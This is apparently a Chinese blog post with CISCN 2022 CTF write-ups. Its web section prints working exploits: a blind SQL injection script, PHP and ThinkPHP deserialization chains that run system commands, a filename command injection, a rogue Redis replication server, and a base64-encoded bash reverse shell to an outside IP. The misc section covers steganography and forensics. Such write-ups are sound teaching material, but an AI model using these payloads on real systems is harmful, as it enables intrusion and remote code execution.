CISCN 2022初赛

CISCN 2022初赛

[toc]

WEB

Ezpentest(赛后复现)

这个题把黑名单当作hint藏着,想要提高难度也不至于这样提高吧。
题目后来给出的waf:

1
2
3
4
5
6
7
<?php
function safe($a) {
$r = preg_replace('/[\s,()#;*~\-]/','',$a);
$r = preg_replace('/^.*(?=union|binary|regexp|rlike).*$/i','',$r);
return (string)$r;
}
?>

首先是sql注入,payload和虎符ctf的做法差不多,改改就行了。

  • 利用like去正则匹配password这一列的数据,如果匹配到就返回9223372036854775807+1 这个表达式,而这个表示执行后会导致数据溢出,服务器会报500,否则就返回’0’,服务器会报error

  • +’’是因为过滤了空白符号,所以用来连接起sql语句的,这里的数据溢出同样可以用18446744073709551615+1,这个18446744073709551615的值其实就是~0,也就是说这个payload就是~0+1

  • utf8mb4_bin是用来区分大小写的,因为like正则匹配是不区分大小写的

  • case用来解决优先级问题

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    #coding: utf-8
    import requests
    import string
    payload="0'||case'1'when`username`collate'utf8mb4_bin'like'{}%'then+9223372036854775807+1+''else'0'end||'"

    #这里过滤了取反,所以要用9223372036854775807+1这个也可以18446744073709551615+1来代替溢出
    list = string.ascii_letters + string.digits + '^$!_%@&'

    url = 'http://1.14.71.254:28029/login.php'
    j=''
    while 1:
    for i in list:
    if (i in '%_'): #这里是对like正则匹配中的一些特殊符号进行转义,这里很重要,不然注出来的结果都不行。
    i = "\\" + i
    now_payload=payload.format(j+i)
    data={
    'password': now_payload,
    'username': 'aaa'
    }
    re = requests.post(url,data=data)
    if re.status_code==500:
    j+=i
    print(j)
    break

    # 最后得到的账号密码
    # nssctfwabbybaboo!@$%!!
    # PAssw40d_Y0u3_Never_Konwn!@!!

    登录之后提示/1Nd3x_Y0u_N3v3R_Kn0W.php,给了SomeClass.php反序列化源码。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    <?php
    class A
    {
    public $a;
    public $b;
    public function see()
    {
    $b = $this->b;
    $checker = new ReflectionClass(get_class($b));
    if(basename($checker->getFileName()) != 'SomeClass.php'){
    if(isset($b->a)&&isset($b->b)){
    ($b->a)($b->b."");
    }
    }
    }
    }
    class B
    {
    public $a;
    public $b;
    public function __toString()
    {
    $this->a->see();
    return "1";
    }
    }
    class C
    {
    public $a;
    public $b;
    public function __toString()
    {
    $this->a->read();
    return "lock lock read!";
    }
    }
    class D
    {
    public $a;
    public $b;
    public function read()
    {
    $this->b->learn();
    }
    }
    class E
    {
    public $a;
    public $b;
    public function __invoke()
    {
    $this->a = $this->b." Powered by PHP";
    }
    public function __destruct(){
    //eval($this->a); ??? 吓得我赶紧把后门注释了
    //echo "???";
    die($this->a);
    }
    }
    class F
    {
    public $a;
    public $b;
    public function __call($t1,$t2)
    {
    $s1 = $this->b;
    $s1();
    }
    }

    ?>

    并且登录之后可以看到还有一段用PHPJiaMi混淆的代码。
    https://github.com/wenshui2008/phpjiami_decode
    利用curl下载混淆的代码保存为php文件。

    1
    curl http://1.14.71.254:28029/login.php --cookie "PHPSESSID=b9ce132a83f74b050ce8583ab371a964" -o ./1.php

    利用工具解混淆,得到另一段源码

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    <?php
    session_start();
    if(!isset($_SESSION['login'])){
    die();
    }
    function Al($classname){
    include $classname.".php";
    }

    if(isset($_REQUEST['a'])){
    $c = $_REQUEST['a'];
    $o = unserialize($c);
    if($o === false) {
    die("Error Format");
    }else{
    spl_autoload_register('Al');
    $o = unserialize($c);
    $raw = serialize($o);
    if(preg_match("/Some/i",$raw)){
    throw new Error("Error");
    }
    $o = unserialize($raw);
    var_dump($o);
    }
    }else {
    echo file_get_contents("SomeClass.php");
    }

    反序列化中的链子很简单E::__destruct()->B::__toString()->A::see()但是最后rce的地方限制了类名,找个php原生类就行了,例如Error,ArrayObject等。但是还需要绕过throw new Error("Error");对于包含反序列化文件SomeClass.php的限制。
    有两种方法可以绕过。
    PHP反序列化小技巧之Fast Destruct

  • 利用__PHP_Incomplete_Class绕过正则,形如a:1:{i:1;O:22:"__PHP_Incomplete_Class":1:{s:2:"aa";a:0:{}}}}

  • 利用fast_destrust提前进入destrust。我们可以两种做法,第一种是删除最后的大括号,第二种是数组对象占用指针(改数字)。但是这里有对序列化数据格式正确与否进行校验所以无法使用第一种。

第一种方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
class SomeClass
{
}
$someclass = new SomeClass();
$e = new E();
$b = new B();
$a = new A();
$f = new ArrayObject();
$e->a = $b;
$b->a=$a;
$a->b = $f;
$f->a = "system";
$f->b = "cat /nssctfflag";
$res = array($someclass,$e);
$payload = 'a:1:{i:1;O:22:"__PHP_Incomplete_Class":1:{s:2:"aa";'.serialize($res).'}}}';
echo $payload;

第二种方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
class SomeClass{
public $a;
}

$e = new E();
$a = new A();
$b = new B();

$e->a = $b;
$b->a = $a;
$arr = new ArrayObject();//换其他原生类都行error啥的都可以
$arr->a = "system";
$arr->b = "cat /nssctfflag";
$a->b = $arr;
$c = new SomeClass();
$c->a = $e;
echo str_replace("i:1;", "i:0;", serialize(array($c,1)));

在这里插入图片描述

Ezpop

/s=Index/test直接打即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
namespace think{
abstract class Model{
private $lazySave = false;
private $data = [];
private $exists = false;
protected $table;
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = false;
function __construct($obj = ''){
$this->lazySave = True;
$this->data = ['whoami' => ['cat /flag.txt']];
$this->exists = True;
$this->table = $obj;
$this->withAttr = ['whoami' => ['system']];
$this->json = ['whoami',['whoami']];
$this->jsonAssoc = True;
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
}
}

namespace{
echo(urlencode(serialize(new think\model\Pivot(new think\model\Pivot()))));
}

online_crt

url编码可以得到rawpath,host改成admin。然后向文件名内注入命令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests 

s= requests.session()

url = "http://eci-2zebelhabwvwlf4wdymv.cloudeci1.ichunqiu.com:8888"

path = s.post(url+'/getcrt',data={
"Country": "CN",
"Province": "a",
"City": "a",
"OrganizationalName": "a",
"CommonName": "a",
"EmailAddress": "aaa@aa.com"
})
# "|echo "Y2F0IC9mbGFn" |base64 -d|bash;"ss.crt
print(path.text)
res = requests.request('get',url+'/proxy',data={
"uri":"""/admin%2frename?oldname=57c0d192-d1a6-4807-b90e-fabbc8665a75.crt&newname=%22%7c%65%63%68%6f%20%22%59%32%46%30%49%43%39%6d%62%47%46%6e%22%20%7c%62%61%73%65%36%34%20%2d%64%7c%62%61%73%68%3b%22%73%73%2e%63%72%74 HTTP/1.1\r
Host: admin\r
Origin: \r
User-Agent: Guest\r
Accept-Encoding: gzip, deflate\r
Accept-Language: zh-CN,zh;q=0.9\r
Connection: close\r
\r
\r
"""
})
print(res.request.body)
print(res.text)

cmdbrowser

telnet://127.0.0.1:6379可直接连接到本地redis,之后打主从复制就行了。不过后面存在/readflag计算器读flag限制,需要弹shell交互,弹shell卡了半年。。。
在这里插入图片描述
恶意redis服务脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#!/usr/local/bin python
#coding=utf8
import socket
import time

CRLF="\r\n"
payload=open("exp.so","rb").read()
exp_filename="exp.so"

def redis_format(arr):
global CRLF
global payload
redis_arr=arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len(x))+CRLF+x
cmd+=CRLF
return cmd

def redis_connect(rhost,rport):
sock=socket.socket()
sock.connect((rhost,rport))
return sock

def send(sock,cmd):
sock.send(redis_format(cmd))
print(sock.recv(1024).decode("utf-8"))

def RogueServer(lport):
global CRLF
global payload
flag=True
result=""
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.bind(("0.0.0.0",lport))
sock.listen(10)
clientSock, address = sock.accept()

print("\033[92m[+]\033[0m Accepted connection from {}:{}".format(address[0], address[1]))

while flag:
data = clientSock.recv(1024)
print(data)
if "PING" in data.decode():
result="+PONG"+CRLF
clientSock.send(result)
flag=True
print(result)
elif "REPLCONF" in data:
result="+OK"+CRLF
clientSock.send(result)
flag=True
print(result)
elif "PSYNC" in data or "SYNC" in data:
result = "+FULLRESYNC " + "a" * 40 + " 1" + CRLF
result += "$" + str(len(payload)) + CRLF
result = result.encode()
result += payload
result += CRLF
clientSock.send(result)
print("\033[92m[+]\033[0m FULLRESYNC ...")
flag=False
#print(result)

print("\033[92m[+]\033[0m It's done")

if __name__=="__main__":

lport=2333
RogueServer(lport)

记录一下redis弹shell命令。其实很简单就base一下。

1
system.exec 'echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8zOS4xMDcuMjM5LjMwLzEyMzQ1IDA+JjE="|base64 -d |bash -i'

最后trap "" 14即可让/readflag停住
在这里插入图片描述

Misc

everlasting_night

首先是 通过alpha通道发现可疑字符串 利用 带密钥lsb脚本解密 得到另一个带密码的png。
然后原图末尾有16字节32个字符,通过somd5反查得到字符串 为 带密钥lsb解出的zip密码
然后png无法打开,通过暴力枚举的方式进行查看
虽然是PNG但事实BMP 的文件结构

1
2
3
4
5
6
7
8
from PIL import Image
col=""
img = Image.new("RGB",(1000,1000))
for i in range(0,len(col),6):
color = (int(col[i+2:i+4],16),int(col[i:i+2],16),int(col[i+4:i+6],16))
img.putpixel((((i//6)%704),(i//6)//704),color)
img.show()

babydisk

取证大师恢复文件得到一个 音频wav一个 SECRET 被TRUECRYPT加密过,测试发现 wav被deepsound加密了。用deepsound2john爆破得到密码feedback,解密得到Truecrypt 密码。继续利用取证大师挂在TRUECRYPT加密文件得到serial.zip,搜索发现螺旋
利用网上脚本写个反向得出来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#include <stdio.h>
void space(int, int);
int main() {
int matrix[101][101];
int m;
int n;
int i, j;
// 输入m*n的矩阵
m=87,n=87;
freopen("result.txt","r",stdin);
freopen("final.txt","w",stdout);
//定义上下左右边界,每次边上的数后,更新周围的值
int up = 0, left = 0, down = m-1, right = n-1;
int k, num = 0;
while (up <= down && left <= right) {
// 向右输出
for (k = left; k <= right; k++) {
scanf("%d", &matrix[up][k]);
num++;
space(num, m*n);
}
up++;
if (num == m*n) //如果全部数值已经输出完毕,退出while循环
break;
// 向下输出
for (k = up; k <= down; k++) {
scanf("%d", &matrix[k][right]);
num++;
space(num, m*n);
}
right--;
if (num == m*n) //如果全部数值已经输出完毕,退出while循环
break;
// 向左输出
for (k = right ; k >= left; k--) {
scanf("%d",&matrix[down][k]);
num++;
space(num, m*n);
}
down--;
if (num == m*n) //如果全部数值已经输出完毕,退出while循环
break;
// 向上输出
for (k = down; k >= up; k--) {
scanf("%d", &matrix[k][left]);
num++;
space(num, m*n);
}
left++;
if (num == m*n) //如果全部数值已经输出完毕,退出while循环
break;
}
for(int i=0;i<m;i++)
for(int j=0;j<n;j++){
printf("%d ",matrix[i][j]);
}
return 0;
}
//判断每次输出数字后是否要输出空格
void space(int num,int all) {
if (num < all)
printf(" ");
}

1
2
3
4
5
6
7
8
9
10
11
"""files=open('spiral.zip','rb')
data=open('result.txt','w')
for i in files.read():
data.write(str(i)+' ')"""
res=open('final.txt','r').read()
ok=res.split()
print(len(ok))
from Crypto.Util.number import *
flag=open("flag.zip",'wb')
for i in ok:
flag.write(long_to_bytes(int(i)))

拿到图片之后手动解个螺旋。得到flag。

ez_usb

流量提取2.8.1和2.10.1两个设备得键盘。
一个是rar密码,一个是加密rar。
用网上常见脚本即可。


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!